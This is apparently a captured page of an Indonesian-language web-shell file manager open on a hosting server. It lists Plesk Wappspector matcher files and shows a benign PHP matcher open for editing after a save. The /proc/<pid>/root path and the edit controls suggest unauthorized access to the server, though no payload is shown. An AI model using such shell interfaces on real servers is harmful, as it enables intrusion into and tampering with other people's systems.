PATH: //proc/304777/root/opt/cpanel/ea-wappspector/src/Matchers
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 CakePHP.php
↓
X
📄 CodeIgniter.php
↓
X
📄 Composer.php
↓
X
📄 DotNet.php
↓
X
📄 Drupal.php
↓
X
📄 Duda.php
↓
X
📄 Joomla.php
↓
X
📄 Laravel.php
↓
X
📄 MatcherInterface.php
↓
X
📄 NodeJs.php
↓
X
📄 Php.php
↓
X
📄 Prestashop.php
↓
X
📄 Python.php
↓
X
📄 Ruby.php
↓
X
📄 Sitejet.php
↓
X
📄 Siteplus.php
↓
X
📄 Sitepro.php
↓
X
📄 Symfony.php
↓
X
📄 Typo3.php
↓
X
📄 UpLevelMatcherTrait.php
↓
X
📄 WebPresenceBuilder.php
↓
X
📄 Wordpress.php
↓
X
📄 Yii.php
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: Php.php
<?php namespace Plesk\Wappspector\Matchers; use League\Flysystem\Filesystem; use League\Flysystem\FilesystemException; use League\Flysystem\StorageAttributes; use Plesk\Wappspector\MatchResult\EmptyMatchResult; use Plesk\Wappspector\MatchResult\MatchResultInterface; use Plesk\Wappspector\MatchResult\Php as MatchResult; class Php implements MatcherInterface { public function match(Filesystem $fs, string $path): MatchResultInterface { try { $list = $fs->listContents($path); foreach ($list as $item) { /** @var StorageAttributes $item */ if ($item->isFile() && str_ends_with($item->path(), '.php')) { return new MatchResult($path); } if ($item->isDir() && $item->path() === ltrim(rtrim($path, '/') . '/src', '/')) { return $this->match($fs, rtrim($path, '/') . '/src'); } } } catch (FilesystemException) { // skip dir if it is inaccessible } return new EmptyMatchResult(); } }
SIMPAN PERUBAHAN